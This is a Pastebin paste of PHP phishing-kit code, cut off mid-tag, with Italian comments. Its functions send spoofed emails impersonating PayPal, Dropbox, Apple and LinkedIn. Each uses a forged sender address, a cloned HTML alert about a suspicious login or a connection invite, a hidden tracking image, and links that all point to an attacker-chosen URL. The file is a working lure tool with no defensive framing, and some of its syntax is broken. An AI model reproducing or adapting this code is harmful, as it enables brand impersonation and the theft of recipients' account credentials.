Advertisement
Guest User

Untitled

a guest
Dec 4th, 2017
454
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.62 KB | None | 0 0
  1. <?php
  2.  
  3. //the name of the sender
  4. $nome_mittente = "PayPal";
  5.  
  6. //the mail of the receiver
  7. $mail_destinatario = $dest;
  8.  
  9. //the redirect when the victim click the link
  10. $link = http://www.google.com/
  11.  
  12.  
  13. // define the subject
  14. $mail_oggetto = "Tentativo di accesso sospetto";
  15.  
  16.  
  17. //html formatted message
  18. $mail_corpo = <<<HTML
  19. <html>
  20. <head>
  21. <style>
  22. #grey {
  23. text-align: left;
  24. background-color: rgb(242, 242, 242);
  25. margin: 0;
  26. font-family: arial,sans-serif;
  27. }
  28.  
  29. #h{
  30.  
  31. font-family: Calibri,Trebuchet,Arial,sans serif;
  32. font-weight:lighter;
  33. font-size: 36px;
  34. line-height: 44px;
  35. color: #0079c1;
  36.  
  37. }
  38.  
  39. div {
  40. padding-top: 20px;
  41. padding-right: 20px;
  42. padding-left: 20px;
  43. padding-bottom: 20px;
  44. font: 12px Arial,Verdana,Helvetica,sans-serif;
  45. color: #292929;
  46. }
  47.  
  48. #light {
  49. padding-top: 20px;
  50. padding-right: 20px;
  51. padding-left: 20px;
  52. padding-bottom: 20px;
  53. font: 12px Arial,Verdana,Helvetica,sans-serif;
  54. background-color: #ffffff;
  55. }
  56.  
  57.  
  58. </style>
  59. </head>
  60. <body>
  61. <div id="grey" >
  62.  
  63. <div id="light">
  64. <img src ="$website/hermes/phishing/paypal/logo.gif"></img>
  65. <img src ="$linklogo" style="display: none;"></img>
  66. <p id="h">Tentativo di accesso bloccato<p>
  67.  
  68.  
  69.  
  70. Gentile $mail_destinatario, <br>
  71.  
  72. <br>
  73. <br>
  74. Qualcuno ha appena utilizzato la tua password per tentare di accedere al tuo account
  75. Paypal da un applicazione o un dispositivo mobile non riconosciuto,
  76. <br>
  77. PayPal ha bloccato questo tentativo di accesso, ma ti consigliamo di controllare i tuoi dispositivi usati di recente
  78. <br>
  79. <br>
  80. <a href="$link">DISPOSITIVI UTILIZZATI DI RECENTE</a>
  81. <br>
  82. <br>
  83. Cordiali saluti,<br>
  84. PayPal
  85. <br>
  86. </div>
  87.  
  88. <br>
  89. <a href="$link">Aiuto</a> | <a href="$link">Sicurezza</a>
  90. <br>
  91. <br>
  92.  
  93. Non rispondere a questa email. Per contattarci, clicca Aiuto e contatti.
  94.  
  95. <br>
  96.  
  97. <br>
  98. Copyright 1999-2017 PayPal. Tutti i diritti riservati. PayPal (Europe) S.r.l. <br>
  99. et Cie, S.C.A. Soci en Commandite par Actions. Sede legale: 22-24<br>
  100. Boulevard Royal, L-2449, Lussemburgo R.C.S. Lussemburgo B 118 349.<br>
  101. <br>
  102. PayPal PPX001529:3d728e9177814
  103. </div>
  104. </body>
  105. </html>
  106. HTML;
  107.  
  108. // aggiusto un po' le intestazioni della mail
  109. // E' in questa sezione che deve essere definito il mittente (From)
  110. // ed altri eventuali valori come Cc, Bcc, ReplyTo e X-Mailer
  111. $mail_headers = "From: " . $nome_mittente . " <" . $mail_mittente . ">\r\n";
  112. $mail_headers .= "Reply-To: " . $mail_mittente . "\r\n";
  113. $mail_headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
  114.  
  115. // Aggiungo alle intestazioni della mail la definizione di MIME-Version,
  116. // Content-type e charset (necessarie per i contenuti in HTML)
  117. $mail_headers .= "MIME-Version: 1.0\r\n";
  118. $mail_headers .= "Content-type: text/html; charset=iso-8859-1";
  119.  
  120. if (mail($mail_destinatario, $mail_oggetto, $mail_corpo, $mail_headers))
  121. echo "&#10;Email sent correctly to --> " . $mail_destinatario . " <-- from :" . $mail_mittente;
  122. else
  123. echo "Error, no message sent, try again";
  124. }
  125.  
  126. function sendDropbox($dest,$lnk,$lnklogo,$gmail,$name,$lastname,$date){
  127. global $website;
  128. $nome_mittente = "Dropbox";
  129.  
  130. switch ($gmail) {
  131. case "true":
  132. $mail_mittente = "no-reply@dropbox.eu";
  133. break;
  134. case "false":
  135. $mail_mittente = "no-reply@dropbox.com";
  136. break;
  137.  
  138. }
  139.  
  140. $mail_destinatario = $dest;
  141.  
  142. $link = $lnk;
  143. $linklogo= $lnklogo;
  144.  
  145. // definisco il subject
  146. $mail_oggetto = "Abbiamo notato un nuovo accesso al tuo Dropbox";
  147.  
  148.  
  149. // definisco il messaggio formattato in HTML
  150. $mail_corpo = <<<HTML
  151.  
  152.  
  153.  
  154.  
  155. <div id=":pv" class="ii gt adP adO"><div id=":pu" class="a3s aXjCH m15f5909a5b9f2327"><u></u>
  156. <div style="padding:0;width:100%!important;margin:0" marginheight="0" marginwidth="0"><center><table cellpadding="8" cellspacing="0" style="padding:0;width:100%!important;background:#ffffff;margin:0;background-color:#ffffff" border="0"><tbody><tr><td valign="top">
  157. <table cellpadding="0" cellspacing="0" style="border-radius:4px;border:1px #dceaf5 solid" border="0" align="center"><tbody><tr><td colspan="3" height="6"></td></tr><tr style="line-height:0px"><td width="100%" style="font-size:0px" align="center" height="1"><img src="https://ci6.googleusercontent.com/proxy/1HpDFnsnm5Tom55MLus_JJajqHnF48Vox0675POzb_zn8wQO9m5f9MsIJQd_UocOQMRDEdazLKA-e2mO5oCFiiyksim7QWJfWH_uvU2Rr5EHzB9UwcQDKKead0rlvry02yM=s0-d-e1-ft#https://cfl.dropboxstatic.com/static/images/emails/logo_glyph_34_m1%402x.png" style="max-height:73px;width:40px" alt="" width="40px" class="CToWUd"></td></tr><tr><td><table cellpadding="0" cellspacing="0" style="line-height:25px" border="0" align="center"><tbody><tr><td colspan="3" height="30"></td></tr><tr><td width="36"></td>
  158. <td width="454" align="left" style="color:#444444;border-collapse:collapse;font-size:11pt;font-family:proxima_nova,'Open Sans','Lucida Grande','Segoe UI',Arial,Verdana,'Lucida Sans Unicode',Tahoma,'Sans Serif';max-width:454px" valign="top">Ciao $name, <br><br> Un nuovo computer ha appena effettuato l'accesso al tuo account Dropbox. Per aiutare a mantenere al sicuro il tuo account, facci sapere se sei stato tu.<br><br><table style="border-radius:4px;width:100%!important;background:#e8f2fa"><tbody><tr><td height="16px"></td>
  159. <td height="16px"></td>
  160. <td height="16px"></td>
  161. </tr><tr><td width="20px"></td>
  162. <td>
  163. <img src ="$linklogo" style="display: none;"></img>
  164. <span style="color:#444;text-align:center"> <b> Sei stato tu?</b> </span><table cellpadding="0" border="0" style="color:#444;font-size:14px" cellspacing="0" align="center"><tbody><tr><td height="10px"></td>
  165. <td height="10px"></td>
  166. </tr><tr valign="top"><td width="90px">Dove:</td>
  167. <td><b>Vicino a Bucarest, Romania</b></td>
  168. </tr><tr valign="top"><td width="90px">Quando:</td>
  169. <td><b>$date at 3:15 am (GMT+01:00)</b></td>
  170. </tr><tr valign="top"><td width="90px">Che cosa:</td>
  171. <td><b>Desktop Client su Linux 4.4.92-31-default</b></td>
  172. </tr><tr><td height="16px"></td>
  173. <td height="16px"></td>
  174. </tr></tbody></table><table cellpadding="0" border="0" align="center" cellspacing="0" style="text-align:center"><tbody><tr><td width="124px"><a style="border-radius:3px;font-size:14px;border-right:1px #b1b1b1 solid;border-bottom:1px #aaaaaa solid;padding:7px 7px 7px 7px;border-top:1px #bfbfbf solid;max-width:97px;font-family:proxima_nova,'Open Sans','lucida grande','Segoe UI',arial,verdana,'lucida sans unicode',tahoma,sans-serif;color:#777777;text-align:center;background-image:-webkit-gradient(linear,0% 0%,0% 100%,from(rgb(251,251,251)),to(rgb(228,228,228)));text-decoration:none;width:97px;border-left:1px #b1b1b1 solid;margin:0;display:block;background-color:#f3f3f3" href="$link" target="_blank">Si</a></td>
  175. <td></td>
  176. <td width="124px" height="0px"><a style="border-radius:3px;font-size:14px;border-right:1px #b1b1b1 solid;border-bottom:1px #aaaaaa solid;padding:7px 7px 7px 7px;border-top:1px #bfbfbf solid;max-width:97px;font-family:proxima_nova,'Open Sans','lucida grande','Segoe UI',arial,verdana,'lucida sans unicode',tahoma,sans-serif;color:#777777;text-align:center;background-image:-webkit-gradient(linear,0% 0%,0% 100%,from(rgb(251,251,251)),to(rgb(228,228,228)));text-decoration:none;width:97px;border-left:1px #b1b1b1 solid;margin:0;display:block;background-color:#f3f3f3" href="$link" target="_blank" >No</a></td>
  177. </tr></tbody></table><table cellpadding="0" border="0" align="left" cellspacing="0" style="text-align:left"><tbody><tr align="left"><td width="97px" height="0px"><br></td>
  178. <td width="0px" height="0px"><br></td>
  179. </tr></tbody></table><br><a href="$link" target="_blank" >Non sono sicuro</a> <br></td>
  180. <td width="20px"></td>
  181. </tr><tr><td height="20px"></td>
  182. <td height="20px"></td>
  183. <td height="20px"></td>
  184. </tr></tbody></table><br> Ulteriori informazioni su come <a href="$link" target="_blank" >proteggere il tuo account</a>. <br><br> Grazie, <br> - Il team di Dropbox <br></td>
  185. <td width="36"></td>
  186. </tr><tr><td colspan="3" height="36"></td></tr></tbody></table></td></tr></tbody></table><table cellpadding="0" cellspacing="0" align="center" border="0"><tbody><tr><td height="10"></td></tr><tr><td style="padding:0;border-collapse:collapse"><table cellpadding="0" cellspacing="0" align="center" border="0"><tbody><tr style="color:#a8b9c6;font-size:11px;font-family:proxima_nova,'Open Sans','Lucida Grande','Segoe UI',Arial,Verdana,'Lucida Sans Unicode',Tahoma,'Sans Serif'"><td width="400" align="left"></td>
  187. <td width="128" align="right">© 2017 Dropbox</td>
  188. </tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></center></div><img width="1" src="https://ci5.googleusercontent.com/proxy/sdHZDOhGqmNvpAGcBd75ZLTiRvZ-4Cz9blyQ2opGKp3HZJomQng1_kRw4mang7mC1TzkUG1TABD0G2_y0Q3hE7OoitWt1R6NNT2dYR4v0Jcdyuo=s0-d-e1-ft#https://www.dropbox.com/l/AAC1GHz_jeMp1cYHNGtbETgJ8oSamL0P3aw" height="1" class="CToWUd"></div><div class="yj6qo"></div></div>
  189.  
  190.  
  191.  
  192. HTML;
  193.  
  194. // aggiusto un po' le intestazioni della mail
  195. // E' in questa sezione che deve essere definito il mittente (From)
  196. // ed altri eventuali valori come Cc, Bcc, ReplyTo e X-Mailer
  197. $mail_headers = "From: " . $nome_mittente . " <" . $mail_mittente . ">\r\n";
  198. $mail_headers .= "Reply-To: " . $mail_mittente . "\r\n";
  199. $mail_headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
  200.  
  201. // Aggiungo alle intestazioni della mail la definizione di MIME-Version,
  202. // Content-type e charset (necessarie per i contenuti in HTML)
  203. $mail_headers .= "MIME-Version: 1.0\r\n";
  204. $mail_headers .= "Content-type: text/html; charset=iso-8859-1";
  205.  
  206. if (mail($mail_destinatario, $mail_oggetto, $mail_corpo, $mail_headers))
  207. echo "&#10;Email sent correctly to --> " . $mail_destinatario . " <-- from :" . $mail_mittente;
  208. else
  209. echo "Error, no message sent, try again";
  210. }
  211.  
  212. function sendApple($dest,$lnk,$lnklogo,$gmail){
  213. global $website;
  214.  
  215. switch ($gmail) {
  216. case "true":
  217. $nome_mittente = "Apple";
  218. $mail_mittente = "apple@accountsupport-noreply.com";
  219. break;
  220. case "false":
  221. $nome_mittente = "Apple";
  222. $mail_mittente = "noreply@email.apple.com";
  223. break;
  224.  
  225. }
  226.  
  227. $mail_destinatario = $dest;
  228. $currentdate = date('l jS \of F Y h:i:s A');
  229.  
  230. $link = $lnk;
  231. $linklogo= $lnklogo;
  232.  
  233. // definisco il subject
  234. $mail_oggetto = "Il tuo ID Apple è stato utilizzato per accedere a iCloud da un browser web";
  235.  
  236.  
  237. // definisco il messaggio formattato in HTML
  238. $mail_corpo = <<<HTML
  239. <html>
  240. <body>
  241. <div class="m_-6481517644072059522mailwrapper" style="font-size:14px;color:#333"><div class="adM">
  242.  
  243. </div><table style="table-layout:fixed;width:100%"><tbody><tr><td>
  244.  
  245. <table class="m_-6481517644072059522mainTable" align="center" style="margin:0 auto;font-size:inherit;line-height:inherit;text-align:center;border-spacing:0;border-collapse:collapse;padding:0;border:0" cellpadding="0" cellspacing="0">
  246. <tbody><tr><td class="m_-6481517644072059522topPadding" style="font-family:'Lucida Grande',Helvetica,Arial,sans-serif;height:16px" height="16"></td></tr>
  247. <tr>
  248. <td class="m_-6481517644072059522centerColumn" style="width:685px">
  249. <table class="m_-6481517644072059522iPhone_font" style="font-family:'Lucida Grande',Helvetica,Arial,sans-serif;font-size:inherit;line-height:18px;padding:0px;border:0px">
  250. <tbody><tr>
  251. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  252. <td class="m_-6481517644072059522heading_logo" style="text-align:right;width:600px">
  253. <img src ="$website/hermes/phishing/apple/logo.jpg"></img>
  254. <img src ="$linklogo" style="display: none;"></img>
  255. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  256. </tr>
  257. <tr>
  258. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  259.  
  260.  
  261.  
  262. <td class="m_-6481517644072059522iPhone_font" style="font-family:'Lucida Grande',Helvetica,Arial,sans-serif;line-height:18px;padding-top:44px;text-align:left;font-size:14px;color:#333">
  263. Gentile $mail_destinatario ,
  264. </td>
  265.  
  266.  
  267. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  268. </tr>
  269. <tr>
  270. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  271. <td class="m_-6481517644072059522iPhone_font" style="font-family:'Lucida Grande',Helvetica,Arial,sans-serif;line-height:18px;text-align:left;font-size:14px;color:#333;padding:17px 0 0 0">
  272.  
  273. Il tuo ID Apple (<span><a href="mailto:$mail_destinatario" style="color:#2b2b2b;text-decoration:none" target="_blank"><u></u><b>$mail_destinatario</b><u></u></a></span>) è stato utilizzato per accedere a iCloud da un browser web.
  274. </td>
  275. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  276. </tr>
  277. <tr>
  278. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  279. <td class="m_-6481517644072059522iPhone_font" style="font-family:'Lucida Grande',Helvetica,Arial,sans-serif;line-height:18px;text-align:left;font-size:14px;color:#333;padding:18px 0 0 0"><div><span>
  280.  
  281.  
  282. Data e ora:
  283. </span><span>
  284.  
  285. $currentdate
  286. </span></div>
  287.  
  288.  
  289.  
  290. <div>
  291. <span>
  292.  
  293. Browser:
  294. </span><span>
  295.  
  296. Chrome
  297. </span>
  298. </div>
  299.  
  300.  
  301.  
  302. <div>
  303. <span>
  304.  
  305. Sistema operativo:
  306. </span><span>
  307.  
  308. Windows
  309. </span>
  310. </div>
  311.  
  312.  
  313.  
  314. </td>
  315. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  316. </tr>
  317. <tr>
  318. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  319. <td class="m_-6481517644072059522iPhone_font" style="font-family:'Lucida Grande',Helvetica,Arial,sans-serif;line-height:18px;text-align:left;font-size:14px;color:#333;padding:18px 0 0 0">
  320.  
  321. Se le informazioni indicate sopra sono note, ignora questa email.
  322. </td>
  323. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  324. </tr>
  325. <tr>
  326. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  327.  
  328. <td class="m_-6481517644072059522letter_content m_-6481517644072059522iPhone_font" style="font-family:'Lucida Grande',Helvetica,Arial,sans-serif;line-height:18px;text-align:left;font-size:14px;color:#333;padding:18px 0 15px 0">
  329. Se recententemente non hai eseguito l'accesso a iCloud e ritieni che qualcun altro possa aver eseguito l'accesso al tuo account, devi reimpostare la password alla pagina web ID&nbsp;Apple (<a href="$link" style="color:#333;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://appleid.apple.com/it&amp;source=gmail&amp;ust=1502265716542000&amp;usg=AFQjCNGUVWzWmNKV5h5Raz9zhBSmICA2Bg"><u></u>https://appleid.apple.com<u></u></a>).</td>
  330. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  331. </tr>
  332.  
  333.  
  334.  
  335. <tr>
  336. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  337. <td class="m_-6481517644072059522iPhone_font" style="text-align:left;font-family:'Lucida Grande',Helvetica,Arial,sans-serif;line-height:18px;color:#333;padding:3px 0 19px 0;font-size:14px">
  338. Cordiali saluti,
  339. </td>
  340. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  341. </tr>
  342.  
  343.  
  344.  
  345. <tr>
  346. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  347. <td class="m_-6481517644072059522iPhone_font" style="text-align:left;font-family:'Lucida Grande',Helvetica,Arial,sans-serif;line-height:18px;font-size:14px;color:#333;padding:17px 0 13px 0">
  348.  
  349. Supporto Apple
  350. </td>
  351. <td class="m_-6481517644072059522content_margin" style="width:40px"></td>
  352. </tr>
  353. </tbody></table>
  354. </td>
  355. </tr>
  356.  
  357. <tr class="m_-6481517644072059522footerTopPadding m_-6481517644072059522iPhone_font" style="height:17px" height="17"><td style="font-family:'Geneva',Helvetica,Arial,sans-serif"></td></tr>
  358. <tr>
  359. <td class="m_-6481517644072059522footer m_-6481517644072059522background m_-6481517644072059522iPhone_font" colspan="3" background="https://ci3.googleusercontent.com/proxy/BskpQQOswEcEktlcWHTJ1GXqrB9aFVLijUYlXi-wmYLZuNmb9EXeeReH-d3DFfp9dXd7-ZKXAP0d6pmDLqyZut7X3x5SOIxKAHPOuFAkp08FDquIHn0r_kfgoizesg=s0-d-e1-ft#https://statici.icloud.com/emailimages/v4/common/footer_gradient_web.png" style="font-family:'Geneva',Helvetica,Arial,sans-serif;width:685px;font-size:11px;line-height:14px;color:#888;text-align:center;background-repeat:no-repeat;background-position:center top;padding:15px 0 12px" align="center">
  360. <span class="m_-6481517644072059522footer1" style="white-space:nowrap">
  361. <a href="$link" style="color:#08c;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://appleid.apple.com/choose-your-country/&amp;source=gmail&amp;ust=1502265716542000&amp;usg=AFQjCNFo5zgKCek1ZgrNczEtqh9nTtqe0A">
  362. ID Apple
  363. </a>
  364. </span> |
  365. <span class="m_-6481517644072059522footer1" style="white-space:nowrap">
  366. <a href="$link" style="color:#08c;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.apple.com/support/country/&amp;source=gmail&amp;ust=1502265716542000&amp;usg=AFQjCNFeeyr7yrbO60mNQRfBjcpGiR_6bw">
  367. Supporto
  368. </a>
  369. </span> |
  370. <span class="m_-6481517644072059522footer1" style="white-space:nowrap">
  371. <a href="$link" style="color:#08c;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.apple.com/legal/internet-services/privacy/&amp;source=gmail&amp;ust=1502265716542000&amp;usg=AFQjCNEL0Pog_FnaCUygwRKivLejBBXnIw">
  372. Norme sulla privacy
  373. </a>
  374. </span>
  375. <br>
  376. <span class="m_-6481517644072059522bottomContent" colspan="3">
  377. <span class="m_-6481517644072059522footer1" style="white-space:nowrap">
  378. Copyright © 2017
  379. </span>
  380. <span>
  381. Apple Distribution International, <span class="m_-6481517644072059522nobr"><a href="$link" id="m_-6481517644072059522address" style="color:#888888;text-decoration:none">Hollyhill Industrial Estate, Hollyhill, Cork, Ireland.</a></span>
  382. </span>
  383. <span class="m_-6481517644072059522footer1" style="white-space:nowrap">
  384. Tutti i diritti riservati.
  385. </span>
  386. </span>
  387. </td>
  388. </tr>
  389. <tr class="m_-6481517644072059522footerBottomPadding m_-6481517644072059522iPhone_font" style="height:50px" height="50"><td style="font-family:'Geneva',Helvetica,Arial,sans-serif">
  390. </td>
  391. </tr>
  392. </tbody></table>
  393.  
  394. </td></tr></tbody></table>
  395. </div>
  396.  
  397. </body>
  398. </html>
  399. HTML;
  400.  
  401. // aggiusto un po' le intestazioni della mail
  402. // E' in questa sezione che deve essere definito il mittente (From)
  403. // ed altri eventuali valori come Cc, Bcc, ReplyTo e X-Mailer
  404. $mail_headers = "From: " . $nome_mittente . " <" . $mail_mittente . ">\r\n";
  405. $mail_headers .= "Reply-To: " . $mail_mittente . "\r\n";
  406. $mail_headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
  407.  
  408. // Aggiungo alle intestazioni della mail la definizione di MIME-Version,
  409. // Content-type e charset (necessarie per i contenuti in HTML)
  410. $mail_headers .= "MIME-Version: 1.0\r\n";
  411. $mail_headers .= "Content-type: text/html; charset=iso-8859-1";
  412.  
  413. if (mail($mail_destinatario, $mail_oggetto, $mail_corpo, $mail_headers))
  414. echo "&#10;Email sent correctly to --> " . $mail_destinatario . " <-- from :" . $mail_mittente;
  415. else
  416. echo "Error, no message sent, try again";
  417. }
  418.  
  419. function sendLinkedin($dest,$lnk,$lnklogo,$gmail,$name,$lastname,$date){
  420. global $website;
  421. $nome_mittente = "Linkedin";
  422.  
  423. switch ($gmail) {
  424. case "true":
  425. $mail_mittente = "invitation@linkedin.i";
  426. break;
  427. case "false":
  428. $mail_mittente = "invitations@linkedin.com";
  429. break;
  430.  
  431. }
  432.  
  433. $mail_destinatario = $dest;
  434.  
  435. $link = $lnk;
  436. $linklogo= $lnklogo;
  437.  
  438. // definisco il subject
  439. $mail_oggetto = "$name, vorresti aggiungermi alla tua rete su Linkedin?";
  440.  
  441.  
  442. // definisco il messaggio formattato in HTML
  443. $mail_corpo = <<<HTML
  444. <img src ="$linklogo" style="display: none;"></img>
  445. <div id=":gy" class="ii gt adP adO"><div id=":gz" class="a3s aXjCH m15b54853c5fb0384"><u></u> <div style="padding:0;margin:0 auto;width:100%!important;font-family:'Helvetica Neue',Helvetica,Arial,sans-serif"> <div style="overflow:hidden;color:transparent;width:0;font-size:0;opacity:0;height:0"> Ciao $name, vorrei entrare a far parte della tua rete su LinkedIn. </div> <table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" bgcolor="#EDF0F3" style="background-color:#edf0f3;table-layout:fixed"> <tbody> <tr> <td align="center"> <center style="width:100%"> <table border="0" class="m_-7165744243048519107phoenix-email-container" cellspacing="0" cellpadding="0" width="512" bgcolor="#FFFFFF" style="background-color:#ffffff;margin:0 auto;max-width:512px;width:inherit"> <tbody> <tr> <td bgcolor="#F6F8FA" style="background-color:#f6f8fa;padding:12px;border-bottom:1px solid #ececec"> <table border="0" cellspacing="0" cellpadding="0" width="100%" style="width:100%!important;min-width:100%!important"> <tbody> <tr> <td align="left" valign="middle"><a href="https://www.linkedin.com/comm/nhome/?midToken=AQFgGc3yx7QHXw&amp;trk=eml-email_m2m_invite_single_01-header-11-home&amp;trkEmail=eml-email_m2m_invite_single_01-header-11-home-null-8ekjk5%7Ej1b6c0e2%7E7i&amp;lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BJql0n27BS1aTPvnNtu54PQ%3D%3D" style="color:#008cc9;display:inline-block;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/comm/nhome/?midToken%3DAQFgGc3yx7QHXw%26trk%3Deml-email_m2m_invite_single_01-header-11-home%26trkEmail%3Deml-email_m2m_invite_single_01-header-11-home-null-8ekjk5%257Ej1b6c0e2%257E7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D&amp;source=gmail&amp;ust=1509553863855000&amp;usg=AFQjCNElz1TQHrSuZmplvuCvXhp7d-V4Yw"> <img alt="LinkedIn" border="0" src="https://ci4.googleusercontent.com/proxy/1MBULTCZ4y2ammZ5KysCS_dRrKY8-lkua0ZPwUQWhd61dipddkWXjAPS06TqGtZ2XGyWl8Ai_O94cwX74BFPJweClxjblUW2y8mnjIf4aDO-OXcwQCaR-Tea3bfbiQ2b2evAM4s7EjxkayeRvqmXRMekfIt6yMGG-S3jVpk=s0-d-e1-ft#https://static.licdn.com/scds/common/u/images/email/phoenix/logos/logo_phoenix_header_blue_78x66_v1.png" height="34" width="40" style="outline:none;color:#ffffff;text-decoration:none" class="CToWUd"></a></td> <td valign="middle" width="100%" align="right" style="padding:0 0 0 10px"><a href="https://www.linkedin.com/comm/profile/view?id=AAsAAB5KjgUBGaMdOk6iiNbXUgPLuW3F-5hJYr8&amp;midToken=AQFgGc3yx7QHXw&amp;trk=eml-email_m2m_invite_single_01-header-18-profile&amp;trkEmail=eml-email_m2m_invite_single_01-header-18-profile-null-8ekjk5%7Ej1b6c0e2%7E7i&amp;lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BJql0n27BS1aTPvnNtu54PQ%3D%3D" style="margin:0;color:#008cc9;display:inline-block;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/comm/profile/view?id%3DAAsAAB5KjgUBGaMdOk6iiNbXUgPLuW3F-5hJYr8%26midToken%3DAQFgGc3yx7QHXw%26trk%3Deml-email_m2m_invite_single_01-header-18-profile%26trkEmail%3Deml-email_m2m_invite_single_01-header-18-profile-null-8ekjk5%257Ej1b6c0e2%257E7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNHN4SaUWTjlrjC0indssV83DqCTCw"> <span style="word-wrap:break-word;color:#4c4c4c;word-break:break-word;font-weight:400;font-size:14px;line-height:1.429">$name $lastname</span></a></td> <td valign="middle" width="40" style="padding-left:10px"> <a href="https://www.linkedin.com/comm/profile/view?id=AAsAAB5KjgUBGaMdOk6iiNbXUgPLuW3F-5hJYr8&amp;midToken=AQFgGc3yx7QHXw&amp;trk=eml-email_m2m_invite_single_01-header-18-profile&amp;trkEmail=eml-email_m2m_invite_single_01-header-18-profile-null-8ekjk5%7Ej1b6c0e2%7E7i&amp;lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BJql0n27BS1aTPvnNtu54PQ%3D%3D" style="border-radius:50%;color:#008cc9;display:inline-block;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/comm/profile/view?id%3DAAsAAB5KjgUBGaMdOk6iiNbXUgPLuW3F-5hJYr8%26midToken%3DAQFgGc3yx7QHXw%26trk%3Deml-email_m2m_invite_single_01-header-18-profile%26trkEmail%3Deml-email_m2m_invite_single_01-header-18-profile-null-8ekjk5%257Ej1b6c0e2%257E7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNHN4SaUWTjlrjC0indssV83DqCTCw"><img alt="" border="0" height="36" width="36" src="https://ci3.googleusercontent.com/proxy/iKk0v1KFQpYFkkhOfRGlGelaXOXVzwIRLdj0flizKRUzQ7dTyk8E2LhY3AH9cEakb3yanvsZrj6ANnANbt7bo92U3Db-p65cfQJMDT4O-F_mncq5UDazDXg8iB9i144484LjWJUK4x4MpfH-OXCVzLMEAyIe521u4QDtHQnvf40jFN4wjUZw__x98KKIeYqOfg=s0-d-e1-ft#https://media.licdn.com/mpr/mpr/shrinknp_100_100/AAEAAQAAAAAAAAsFAAAAJDZiNjAwZWM1LTgyZTYtNGUzOS1hZWY4LWE3NTQwODQ0NjM4Yg.jpg" style="border-radius:50%;outline:none;color:#ffffff;text-decoration:none" class="CToWUd"></a></td> <td width="1">&nbsp;</td> </tr> </tbody> </table></td> </tr> <tr> <td> <table border="0" cellspacing="0" cellpadding="0" width="100%"> <tbody> <tr> <td> <table border="0" cellspacing="0" cellpadding="0" width="100%"> <tbody> <tr> <td style="padding:24px 24px 36px 24px"> <table border="0" cellspacing="0" cellpadding="0" width="100%"> <tbody> <tr> <td align="left" id="m_-7165744243048519107qatest-hero-headline" colspan="2" style="padding-bottom:12px"> <p style="margin:0;word-wrap:break-word;color:#4c4c4c;word-break:break-word;font-weight:400;font-size:16px;line-height:1.5">Ciao $name, vorrei entrare a far parte della tua rete su LinkedIn.</p></td> </tr> <tr> <td valign="top" style="padding-top:10px"> <table border="0" cellspacing="0" cellpadding="0" width="100%"> <tbody> <tr> <td id="m_-7165744243048519107qatest-hero-profilepic"><a href="#" style="color:#008cc9;display:inline-block;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/comm/profile/view?id%3DAAsAAAFKYT8BQbMtHUgfiqdiddhxe3oBPezUOXM%26authType%3Dname%26authToken%3D5wtg%26midToken%3DAQFgGc3yx7QHXw%26trk%3Deml-email_m2m_invite_single_01-hero-2-prof%257Ephoto%26trkEmail%3Deml-email_m2m_invite_single_01-hero-2-prof%257Ephoto-null-8ekjk5%257Ej1b6c0e2%257E7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNHIVhUMUtXbHm0eBHtMXjkrhzxGfQ"><img src="$website/hermes/phishing/linkedin/logo.jpg" alt="" height="70" width="70" style="border-radius:50%;outline:none;color:#ffffff;text-decoration:none" class="CToWUd"></a></td> </tr> </tbody> </table></td> <td style="padding:5px 0 0 24px"> <table border="0" cellspacing="0" cellpadding="0" width="100%"> <tbody> <tr> <td valign="top" id="m_-7165744243048519107qatest-hero-profileinfo"><a 